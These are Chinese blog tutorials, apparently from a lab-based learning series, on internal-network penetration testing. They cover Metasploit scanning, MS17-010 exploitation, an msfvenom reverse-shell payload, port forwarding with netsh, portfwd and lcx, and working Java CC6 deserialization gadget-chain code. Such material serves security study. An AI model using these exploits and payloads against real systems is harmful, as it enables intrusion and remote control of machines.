内网渗透-端口扫描可以说内网渗透测试,其本质就是信息收集。信息收集的深度,直接关系到内网渗透测试的成败。当你拿下内网的一台主机后,面对的是一片未知的区域,所以首先要做的就是对当前所处的网络环境进行判断。包括以下几点: 对当前机器角色的判断 对当前机器所处的网络环境进行判断 对当前机器所处的网络区域进行判断 通过 ARP 缓存发现内网存活主机ARP 全称为 Address Resolution Protocol ,即地址解析协议,它是一个根据 IP 地址获取物理地址的 TCP/IP 协议,主机发送信息时将包含目标 IP 地址的 ARP 请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后将该 IP 地址和物理地址存入本机 ARP 缓存中并保留一定时间,下次请求时直接查询 ARP 缓存以节约资源。 因此,可以通过查看 arp 缓存来发现内网主机: 1arp -a 发现 52 网段的其他存活主机,如 192.168.52.138,192.168.52.143 : 至于这里的 192.168.52.1,192.168.52.254,192.168.52.255 都是无关紧要的网关或者广播地址之类的,不用管。 那么就提取到了两个已知目标: 12192.168.52.138 00-0c-29-1e-96-24 dynamic192.168.52.143 00-0c-29-22-d2-55 dynamic 除此之外,也可以通过 msf 查看路由信息,发现内网网段: 1234567891011121314151617meterpreter > run get_local_subnets[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.[!] Example: run post/multi/manage/autoroute OPTION=value [...]Local subnet: 192.168.43.0/255.255.255.0Local subnet: 192.168.52.0/255.255.255.0Local subnet: ::/ffff:ffff::Local subnet: ::1/ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffffLocal subnet: 2408:8453:f53a:68a8::/ffff:ffff:ffff:ffff:ffff:ffff::Local subnet: 2408:8453:f53a:68a8:e8b6:6970:f9e1:6003/ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffffLocal subnet: fe80::/ffff:ffff:ffff:ffff:ffff:ffff::Local subnet: fe80::/ffff:ffff:ffff:ffff:ffff:ffff::Local subnet: fe80::cc27:7c90:8e9e:d18e/ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffffLocal subnet: fe80::e8b6:6970:f9e1:6003/ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffffLocal subnet: ff00::/ff00::Local subnet: ff00::/ff00::Local subnet: ff00::/ff00:: msf 内网端口扫描msf 端口扫描的模块先查看一下支持的端口扫描类型: ACK 防火墙扫描1use auxiliary/scanner/portscan/ack SYN 端口扫描1use auxiliary/scanner/portscan/syn 通过 wireshark 抓包可以看到,底层是通过发送 SYN 数据包去建立三次握手,通过回应的数据包来判断端口是否打开: TCP 端口扫描1use auxiliary/scanner/portscan/tcp 同样使用 wireshark 抓包查看,发现和 SYN 扫描原理差不多,区别在于这种扫描会完成三次握手的连接,SYN 扫描直接发送一个 RST 数据包去拒绝连接: xmas 扫描1use auxiliary/scanner/portscan/xmas xmas 扫描通过发送 fin 数据包,根据目标端口是否有回应来判断端口是否打开: 扫描各服务版本 msf 两种内网扫描方式对上述两个目标进行端口或服务扫描,可以通过配置 msf 路由和 msf 代理来实现。 msf 路由通过添加路由的方式让 kali 能访问到内网中的其他机器。 打印路由表: 1meterpreter > run autoroute -p 添加路由至本地(添加完后记得再打印一次路由表看添加是否成功): 12345678# meterpreter 原始方法meterpreter > run autoroute -s 192.168.52.0/24# 或者使用新方法自动添加路由meterpreter > run post/multi/manage/autoroute# 或者在 msf 控制台中添加路由msf6 exploit(multi/handler) > route add 192.168.52.0/24 [session ID] 退回至 msf 控制台: 1meterpreter > background 在 msf 控制台打印路由表: 1msf6 exploit(multi/handler) > route print msf 使用端口扫描模块(TCP 端口扫描器): 1msf6 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp auxiliary/scanner/portscan/tcp 模块设置: 1234set rhosts 192.168.52.138\t#设置要扫描的内网IPset threads 10 #设置线程数,影响速度快慢set ports 1-500 #设置要扫描的端口范围run #开始扫描 MS17-010 内网渗透搜索有关此漏洞的利用模块: 1search ms17-010 使用 exploit/windows/smb/ms17_010_psexec 模块: 1use 1 模块选项设置: 1set rhost 192.168.52.138 开始执行: 1run 执行结果: 1Exploit completed, but no session was created. 前面的执行都不报错,最后出现这种结果,是因为 kali 能通过各种方式访问到内网中的机器,而内网中的机器无法访问到 kali ,因此无法建立反弹 shell 。 既然反弹 shell 不行,那就建立正向连接。可以看到,该模块默认的 payload 为 windows/meterpreter/reverse_tcp : 将 payload 改为 windows/meterpreter/bind_tcp 正向连接(kali 主动去连接目标机器): 1set payload windows/meterpreter/bind_tcp 再次执行,成功获取连接: 1234567891011msf6 exploit(windows/smb/ms17_010_psexec) > run[*] 192.168.52.138:445 - Target OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1[*] 192.168.52.138:445 - Built a write-what-where primitive...[+] 192.168.52.138:445 - Overwrite complete... SYSTEM session obtained![*] 192.168.52.138:445 - Selecting PowerShell target[*] 192.168.52.138:445 - Executing the payload...[+] 192.168.52.138:445 - Service start timed out, OK if running a command or non-service executable...[*] Started bind TCP handler against 192.168.52.138:4444[*] Sending stage (176198 bytes) to 192.168.52.138[*] Meterpreter session 9 opened (192.168.52.128:51814 -> 192.168.52.138:4444 via session 8) at 2024-04-13 00:31:52 -0400 查看系统信息: 12345678meterpreter > sysinfoComputer : OWAOS : Windows Server 2008 R2 (6.1 Build 7601, Service Pack 1).Architecture : x64System Language : zh_CNDomain : GODLogged On Users : 3Meterpreter : x86/windows msf 代理简单地说,就是将 kali 能够直接访问到的机器作为代理,进而访问内网中的其他机器。想要配置 msf 代理,那么必须先配置好 msf 路由。 socks 协议 socks 协议工作在会话层,能为各种协议提供代理服务。socks4 与 socks5 的区别在于除了 tcp 协议外,socks5 还支持 udp 协议。 使用 auxiliary/server/socks_proxy 模块设置代理: 1use auxiliary/server/socks_proxy 直接运行即可: 1run 查看代理设置是否成功: 1jobs 设置成功之后就可以利用此代理进行内网扫描了。 关闭代理: 12jobs -k [ID] #关闭指定ID的代理jobs -K #关闭所有代理 **利用 proxychains 使用此代理(当然在其他地方用也是可以的) ** 在 proxychains 配置文件的最后一行添加如下内容: 1socks5 127.0.0.1 1080 测试代理配置是否成功: 1proxychains curl http://192.168.52.143/ 成功得到返回值,说明此时能够访问内网。 那么就可以利用 namp 之类的工具进行扫描了,比如主机发现(未验证成功): 1proxychains nmap -sn 192.168.52.0/24 再比如 dirb 目录扫描: 1proxychains dirb http://192.168.52.143/ 不过,由于 socks5 仅支持 TCP/UDP 及以上协议,所以有些不使用这些协议的工具是没办法用 socks 代理的。 使用 msf 进行主机发现 设置好代理之后也可以用 msf 的模块进行内网主机发现。 使用 auxiliary/scanner/discovery/udp_sweep 模块进行内网主机发现: 1use auxiliary/scanner/discovery/udp_sweep 设置模块: 123set rhosts 192.168.52.0/24set threads 50run","categories":["内网渗透"]},{"title":"内网渗透 01 - 端口转发","path":"/2024/05/16/内网渗透/内网渗透01-端口转发/","content":"在进行渗透测试过程中会遇到内网中的其他机器是不允许外网机器访问的,因此需要通过端口转发(即隧道)或将得到的外网服务器设置为代理,使得攻击机可以直接访问并操作内网中的其他机器,这一过程就叫做内网转发。 红日靶场(一)搭建推荐博客:[WEB安全]红日靶场(一)环境搭建 初始密码:hongrisec@2019 设置好网段如下: 在此划分出 VMnet1 和 VMnet8 两个网段,VMnet1 为 Windows 虚拟机的内网网段,VMnet8 为模拟的外网网段。 可以在物理机 win11 上查看: win2003 太抽象了,所以换成 win2019 。 最终形成的 IP 划分情况如下: 主机 IP地址 物理机 win11 192.168.217.1( VMnet8 的 IP ) win7 边界服务器 外网IP:192.168.217.137;内网IP:192.168.52.143 win2008 内网IP:192.168.52.138 win2019 内网IP:192.168.52.128 win2003(弃用) 内网IP:192.168.52.141 提示密码过期,那么我们重新设置一下密码: win7:win7@test win server 2003(弃用):win2003@test win server 2008:win2008@test win server 2019:Administrator - ChinaSkills22 内网环境至此就搭好了,其中 win7 为边界服务器,在外网中开放,而 win2008 和 win2019 不对公网开放。 在测试时,一定要将 Windows 的防火墙全部关闭哦~ 但是,按照上面的搭建方法,即使 kali 在 VMnet8 网段中,也能访问到 VMnet1 网段(即内网)的机器,这明显不符合要求。因此,我将 kali 与 win7 的其中一个网卡设置为桥接网卡,抛弃了 VMnet8 网段,但也因此无法使用校园网。在这种情况下,kali 就只能访问 win7 的外网 IP ,而无法访问内网网段了。 此时我的 kali IP:192.168.43.173,win 7 外网 IP:192.168.43.136 。 之后遇到的问题就是 shell 没有办法上传到 win7 虚拟机上,无论是复制粘贴还是 mount 挂载,于是我又做了一些调整,将 win2019 作为边界服务器,在外网开放,而 win7 则作为内网机器。 此时我的 win2019 的外网 IP 为:192.168.43.13 。 xampp XAMPP(Apache+MySQL+PHP+PERL)是一个功能强大的建站集成软件包。 perl Perl 是由 Larry Wall 设计的,并由他不断更新和维护的编程语言。 Perl 具有高级语言(如 C )的强大能力和灵活性。事实上,你将看到,它的许多特性是从 C 语言中借用来的。 Perl 与脚本语言一样,Perl 不需要编译器和链接器来运行代码,你要做的只是写出程序并告诉 Perl 来运行而已。这意味着 Perl 对于小的编程问题的快速解决方案和为大型事件创建原型来测试潜在的解决方案是十分理想的。 Perl 提供脚本语言(如 sed 和 awk )的所有功能,还具有它们所不具备的很多功能。Perl 还支持 sed 到 Perl 及 awk 到 Perl 的翻译器。 简而言之,Perl 像 C 一样强大,像 awk 、sed 等脚本描述语言一样方便。 通过上传 shell 使 kali 控制 win2019mount 挂载共享文件夹推荐博客:Linux 挂载 Windows 共享目录 创建要共享的文件夹: 1mkdir /mnt/myshare 挂载共享文件夹: 1mount -t cifs -o username=miao,password=Ab123456 //192.168.43.13/tiquan /mnt/myshare 查询挂载状态: 1mount 解除挂载: 1umount /mnt/myshare msf 生成 payload:1msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.43.173 lport=4444 -a x64 -f exe -o shell.exe 通过 mount 挂载的共享文件夹将 shell 传到 win2019 上: 1cp shell.exe /mnt/myshare/shell.exe 进入 msf 控制台: 1msfconsole 使用 use 进入模块,exploit/multi/handler 是 msf 的侦听模块: 1use exploit/multi/handler 设置 kali 的 IP 和端口号: 123set payload windows/x64/meterpreter/reverse_tcpset lhost 192.168.43.173set lport 4444 开启监听: 1run/exploit 此时在 win2019 上执行 shell.exe 即可。 从 meterpreter 进入 Windows 命令行: 1shell 解决编码问题: 1chcp 65001 内网渗透-端口转发在进行渗透测试过程中会遇到内网中的其他机器是不允许外网机器访问的,因此需要通过端口转发(即隧道)或将得到的外网服务器设置为代理,使得攻击机可以直接访问并操作内网中的其他机器,这一过程就叫做内网转发。 端口映射(Port Mapping)和端口转发(Port Forwarding)是网络配置中的两个概念,虽然有相似之处,但它们在用途和实现上有一些不同之处。 端口映射(Port Mapping)定义: 端口映射是一种将一个特定的端口号映射到另一个端口号的技术,通常用于路由器或防火墙来允许外部设备通过特定端口访问内部网络中的设备。 用法: 通常用于在内网(如局域网)中的某个设备(如服务器)需要被外部网络访问时,路由器或防火墙通过将外部请求的端口映射到内部设备的相应端口来实现。 例如,外部设备通过访问路由器的端口 80 来访问内网服务器的端口 8080 。 示例: 假设你有一个家庭网络,其中一台计算机运行一个 Web 服务器,监听端口 8080 。你希望外部用户能够通过访问你家庭网络的公共 IP 地址上的端口 80 来访问这个 Web 服务器。 公共 IP 地址:203.0.113.1 内部 IP 地址:192.168.1.100 内部 Web 服务器端口:8080 在路由器上设置端口映射,将公共 IP 的端口 80 映射到内部 IP 地址的端口 8080 : 1203.0.113.1:80 -> 192.168.1.100:8080 端口转发(Port Forwarding)定义: 端口转发是一种将网络流量从一个 IP 地址的特定端口重定向到另一个 IP 地址的特定端口的技术。这通常用于将外部网络的流量重定向到内部网络中的特定设备。 用法: 主要用于将外部网络的请求转发到内网中的设备,以实现对内网资源的访问。 比端口映射更广泛,通常不仅仅是端口号的映射,还包括 IP 地址的重定向。 通常用于允许外部设备通过路由器或防火墙访问内网设备上的服务。 示例: 与上例类似,但这次我们不仅重定向端口,还重定向流量到另一个内部设备: 公共 IP 地址:203.0.113.1 内部 Web 服务器 IP 地址:192.168.1.100 内部 Web 服务器端口:80 设置端口转发,将公共 IP 的端口 80 上的流量重定向到内部 Web 服务器的 IP 地址和端口: 1203.0.113.1:80 -> 192.168.1.100:80 区别总结 端口映射(Port Mapping):主要涉及端口号的映射,可以将外部端口映射到内部不同的端口。常用于在路由器或防火墙上设置特定的端口映射规则。 端口转发(Port Forwarding):不仅可以涉及端口号的重定向,还可以涉及 IP 地址的重定向。常用于将外部网络的请求转发到内网中的设备,以实现对内网资源的访问。 尽管术语有时可以互换使用,但严格来说,端口转发更广泛,包含了端口映射的功能,但也涉及更复杂的流量重定向规则。 windows 命令行下用 netsh 实现端口转发自 Windows XP 开始,Windows 中就内置网络端口转发的功能。任何传入到本地端口的 TCP 连接( IPv4 或 IPv6 )都可以被重定向到另一个本地端口,或远程计算机上的端口,并且系统不需要有一个专门用于侦听该端口的服务。 在 Linux 中,使用 iptables 可以非常轻松地配置端口重定向。在 Windows Server 系统上,我们可以使用命令 Netsh 的 Portproxy 模式配置 Windows 中的端口转发。 netsh 命令已经推出很长时间,在 Windows 2000/XP/2003 中均带有 netsh 命令。Windows Server 2008 只是对 netsh 的参数项做了些扩展。 用法: 1netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport add v4tov4 - 添加 IPv4 listenaddress - 等待连接的本地 IP 地址。 listenport - 本地侦听 TCP 端口。 connectaddress - 将传入连接重定向到本地或远程 IP 地址(或 DNS 名称)。 connectport - 一个 TCP 端口,来自 listenport 的连接会被转发到该端口。 本地端口转发到本地端口示例: 将本地端口 3389 转发到本地端口 3340 ,其中,本地 IP 为 10.1.1.110 : 1netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110 使用 netstat 确定 3340 端口当前处于被侦听状态: 123netstat -ano | findstr:3340或者netstat -antp tcp 显示系统中的转发规则列表: 1netsh interface portproxy show all 在我们的例子中,只有一个转发规则即从3340到3389端口的转发: 1234Listen on ipv4: Connect to ipv4:Address Port Address Port--------------- ---------- --------------- ----------10.1.1.110 3340 10.1.1.110 3389 删除指定的端口转发规则: 1netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110 清除所有当前的端口转发规则: 1netsh interface portproxy reset 重要:以上端口转发仅适用于 TCP 端口,对于 UDP 端口将不起作用,并且不能使用 127.0.0.1 作为连接地址。 将其他机器的端口转发至本机端口,比如将 192.168.100.101 的 3389 端口转发至本机的 3389 端口: 1netsh interface portproxy add v4tov4 listenport=3389 connectport=3389 connectaddress=192.168.100.101 这样执行完以后,访问本机的 3389 端口就可以访问到 192.168.100.101 的 3389 端口了。 3389 端口通常为 Windows 的远程桌面连接,因此需要先开启 Windows 的远程桌面连接才能实现端口转发,开启后,使用以下命令查看端口开放情况: 1netstat -an 可以看到 3389 端口已开放: MSF portfwd 端口转发与端口映射portfwd 是借用 meterpreter shell 建立的连接进行数据传输,达到端口转发的目的。 使用 portwd 进行端口转发: 1meterpreter > portfwd add -l 1111 -r 127.0.0.1 -p 3389 -l 表示 localhost ,即 kali 本机; 因为此时已经与 Windows 目标机器建立了连接,所以 127.0.0.1 指的是已经被拿到 shell 的这台 Windows 机器。 配置完成后,访问 kali 的 1111 端口,就会转发到 Windows 目标机器的 3389 端口。 如果将 127.0.0.1 换成其他与 Windows 目标机器处于同一内网的 IP ,那么就可以直接将内网中的其他机器映射到 kali 上,实现内网穿透。 查看是否建立端口转发连接: 1portfwd list 按本地端口号删除删除连接: 1portfwd delete -l 1111 lcx.exe 端口转发工具lcx.exe 是一个端口转发工具,有 Windows 版和 Linux 版两个版本,Windows 版是 lcx.exe ,Linux 版为 portmap 。 下载链接:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip Linux 中的使用 Linux 中下载: 1wget http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip 查看帮助文档: 1234567891011121314151617┌──(root㉿kali)-[~/lcx_vuln.cn]└─# ./portmap --helpSocket data transport toolby Sofia(www.vuln.cn)Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename] -v: version -h1: host1 -h2: host2 -p1: port1 -p2: port2 -log: log the data -m: the action method for this tool 1: listen on PORT1 and connect to HOST2:PORT2 2: listen on PORT1 and PORT2 3: connect to HOST1:PORT1 and HOST2:PORT2Let me exit...all overd 这里有一个 -m 参数这个参数的解释:以哪种方式来用这个工具,然后下面有三个方式:1.监听 port1 端口并且连接主机 2 的 port2 端口2.监听 port1 和 port2 端口3.连接主机 1 对应的端口和主机 2 对应的端口 示例 将本机的 6666 端口映射到 192.168.164.8 主机的 22 端口: 1./portmap -m 1 -p1 6666 -h2 192.168.164.8 -p2 22 将本地 7777 端口上的服务转发到 6666 端口上: 1./portmap -m 2 -p1 6666 -h2 118.*.*.2 -p2 7777 将本地 22 端口转发到外网机器上的 6666 端口: 1./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 118.*.*.2 -p2 6666 Windows 中的使用 1、lcx 内网端口转发,内网穿透 把内网主机的 3389 端口转发到具有公网 ip 主机的 4444 端口: 1lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389 监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口: 1lcx.exe –listen 4444 5555 此时,RDP 连接,Windows 命令行下输入 mstsc ,即可打开远程桌面连接。 2、本地端口转发 由于防火墙限制,部分端口如 3389 无法通过防火墙,此时可以将该目标主机的 3389 端口转发到防火墙允许的其他端口,如 53 端口: 1lcx -tran 53 目标主机ip 3389 各种端口转发后如何连接80 端口:直接浏览器访问即可; 3389 端口:使用 rdesktop 命令,如: 1rdesktop 127.0.0.1:3389 3306 端口:使用 mysql 命令,如: 1mysql -u [用户名] -p [密码] -P [端口号]","categories":["内网渗透"]},{"title":"漏洞篇 - Java 反序列化之 CC6 链","path":"/2024/05/13/Java 安全/漏洞篇-CC6链分析/","content":"前面在分析 CC1链 的 ysoserial 版时,我们知道 LazyMap 的 get 方法会调用成员属性 factory 的 transform 方法,而我们上一次是通过 AnnotationInvocationHandler 的 invoke 方法来调用这个 get 方法的。那么还有哪里能调用 LazyMap 的 get 方法呢?我们的 CC6 链给出了另一条路径:TiedMapEntry 类的 getValue 方法会调用成员属性的 get 方法。 CC6 链分析JDK 8u71 版本之后 AnnotationInvocationHandler 的 readObject 方法被改写,CC1 链无法利用,于是引出了可以不需要经过 AnnotationInvocationHandler 类的 CC6 链。 利用链之 TiedMapEntry 类TiedMapEntry 的 getValue 方法:123public Object getValue() { return map.get(key);} map 是 TiedMapEntry 类中定义的一个属性: 1private final Map map; 这个成员属性在 TiedMapEntry 的构造方法中被赋值: 12345public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key;} 而这个构造方法被 public 修饰,可以直接调用。那么只需要将 this.map 设置成 LazyMap 对象就好了。将 this.map 设置成 LazyMap 对象以后,在 TiedMapEntry 的 getValue 方法中,会将 TiedMapEntry 的 成员属性 key 作为 LazyMap 对象的 get 方法的参数传入,这个 key 接下来会被作为 transform 的参数,那么就应该知道 key 应该传什么了,应该传 Runtime.class 。 接下来要找谁调用了 TiedMapEntry 的 getValue 方法,TiedMapEntry 的 hashCode 方法调用了此方法。 TiedMapEntry 的 hashCode 方法:12345public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } 要想调用 TiedMapEntry 的 hashCode 方法,可以把 TiedMapEntry 对象作为 HashMap 对象的 key 传入,这样在反序列化 HashMap 对象时,调用 HashMap 对象的 readObject 方法,就会调用 key 的 hashCode 方法。这是在学习 URLDNS 链时已经学到的内容,这里不妨再复习一下。 入口类之 HashMapHashMap 的 readObject 方法:12345678910111213141516171819202122232425262728293031323334353637383940private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } }} 结尾处的这一句: 1putVal(hash(key), key, value, false, false); 会调用 HashMap 的 hash 方法。 HashMap 的 hash 方法:1234static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);} 在这里就会调用 key 的 hashCode 方法。 利用链已经明了,开始构造 payload 。 构造 payload1123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class payload { public static void main(String[] args) throws Exception { // 获取包含执行类的 ChainedTransformer 对象 Transformer[] transformers = new Transformer[]{ // 将传入参数固定为 Runtime.class new ConstantTransformer(Runtime.class), new InvokerTransformer ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer ("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 新建一个 Map 对象,无关紧要,只是作为参数传入 Map<Object, Object> hashMap = new HashMap<>(); // 初始化利用链 LazyMap Map lazymap = LazyMap.decorate(hashMap, chainedTransformer); // 初始化利用链 TiedMapEntry TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, Runtime.class); // 初始化利用链 HashMap HashMap<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "test"); serialize(map); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }} payload 构造完成,但是在运行的时候会发现一个问题,就是序列化的时候也会进行一次命令执行,原因是 HashMap 的 put 方法也会调用 key 的 hashCode 方法。 HashMap 的 put 方法: 123public V put(K key, V value) { return putVal(hash(key), key, value, false, true);} 这里会调用 HashMap 的 hash 方法,进而调用 key 的 hashCode 方法。 我们肯定不希望自己的计算机上也执行一遍恶意命令对吧,所以我们需要避免序列化的时候命令执行,这也是以后的反序列化利用需要注意的问题。 改进 payload如何避免序列化时命令执行呢,在 map.put 方法执行之前,我们先传入一个不包含 chainedTransformer 的 LazyMap 对象,在 map.put 方法执行之后,再修改这个 LazyMap 对象的 factory 属性为 chainedTransformer 即可。 问题抛出然而当我这样修改之后,又发现了一个问题: 我在调用 TiedMapEntry 构造方法时: 12345public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key;} 明明代码上只写了将传入的 key 作为 TiedMapEntry 对象的 key 属性值,但是在执行完这一步后发现 TiedMapEntry 对象的 map 属性的 key 属性值也变为了传入的 key 值。 执行 this.key = key 之前,map 中只有一个 null -> 1 的键值对: 执行 this.key = key 之后,map 中多了一个 aaa -> 1 的键值对: 很奇异,翻了很多大佬的博客,但是都没有讲明原因,后来与好友交流,得出了一种较为合理的解释。 参见:幽默的Common-Collections6调试 还记得我们之前说过的吗:IDEA 在 debug 时,当 debug 到某个对象的时候,会调用对象的 toString() 方法,用来在 debug 界面显示对象信息。 这里正是由于 TiedMapEntry 对象的 toString() 方法在调试时被调用了,来看 TiedMapEntry 的 toString() 方法: 123public String toString() { return getKey() + "=" + getValue();} 这里调用了 TiedMapEntry 的 getValue() 方法: 123public Object getValue() { return map.get(key);} 于是就会接着调用其成员属性 map 的 get() 方法,也即 LazyMap 对象的 get() 方法: 123456789public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key);} 第一次进来,LazyMap 对象的 map 属性 key 值为 null ,不包含传入的 key 值,所以进入判断,在 map.put(key, value); 处将 LazyMap 对象的 map 属性 key 值设置成了传入的 key 值,这就造成了调试完 TiedMapEntry 构造方法后 LazyMap 对象的 map 属性就已经有 key 值了。 所以如果是真实运行环境的话,它的流程应该是这样的:在 TiedMapEntry 的构造方法被调用之后,调用 HashMap 的 put 方法时: 123TiedMapEntry tiedMapeEntry = new TiedMapEntry(lazymap, "key");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapeEntry, "test"); 运行时调用链: 1map2::put() -> map2::hash() -> tiedMapeEntry::hashCode() -> tiedMapeEntry::getValue() -> lazymap::get() 于是在这里 lazymap 的 map 属性的 key 值被设置成了传入的 key 值,这将导致下一次调用 lazymap 的 get() 方法时(反序列化时)将不会进入判断,从而无法命令执行。 所以需要在 put 方法调用完之后删除掉 lazymap 的 map 属性的 key 值: 1lazymap.remove("key"); 构造 payload212345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class payload2 { public static void main(String[] args) throws Exception { // 获取包含执行类的 ChainedTransformer 对象 Transformer[] transformers = new Transformer[]{ // 将传入参数固定为 Runtime.class new ConstantTransformer(Runtime.class), new InvokerTransformer ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer ("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 新建一个 Map 对象,无关紧要,只是作为参数传入 Map<Object, Object> hashMap = new HashMap<>(); // 初始化利用链 LazyMap Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); // 初始化利用链 TiedMapEntry ,第二个参数为 key 值,先随便传一个 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key"); // 初始化利用链 HashMap HashMap<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "test"); // 删除 lazymap 对象中的 key 值 lazymap.remove("key"); // 反射修改 lazymap 对象的 factory 属性 Class<? extends Map> lazymapClass = lazymap.getClass(); Field factory = lazymapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap, chainedTransformer); // serialize(map); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }} 至此就完成了。 结语真理是越辩越明的。","categories":["Java 安全"]},{"title":"漏洞篇 - CC1 链之 ysoserial 版","path":"/2024/05/12/Java 安全/漏洞篇-CC1链ysoserial版/","content":"在前面学习 CC1 链时,我们使用 TransformedMap 作为利用链,但其实除了 TransformedMap 之外,还有 DefaultedMap 和 LazyMap 也可以作为利用链,它们都在 org.apache.commons.collections.map 包下。这一节我们来分析 ysoserial 工具中利用的 CC1 链,它是将 LazyMap 作为利用链的。 CC1 链之 ysoserial 版环境 JDK = 8u65 commons-collections = 3.2.1 在前面学习 CC1 链时,我们使用 TransformedMap 作为利用链,但其实除了 TransformedMap 之外,还有 DefaultedMap 和 LazyMap 也可以作为利用链,它们都在 org.apache.commons.collections.map 包下: 这一节我们来分析 ysoserial 工具中利用的 CC1 链,它是将 LazyMap 作为利用链的。 前面我们利用 TransformedMap 类的 checkSetValue 方法来调用 transform 方法: 123protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value);} 那么回到这一步,还有谁调用了 transform 方法呢?LazyMap 中其实有相关的调用。 利用链之 LazyMap 类LazyMap 的 get 方法中调用了 factory 的 transform 方法: 123456789public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key);} factory 是 LazyMap 中定义的属性: 1protected final Transformer factory; 它在构造方法中被赋值: 1234567protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory;} 所以我们让这里的 factory 变成 ChainedTransformer 对象就行。 然而 LazyMap 的构造方法被 protected 修饰,不能直接调用,所以我们需要找哪个方法调用了 LazyMap 的构造方法。 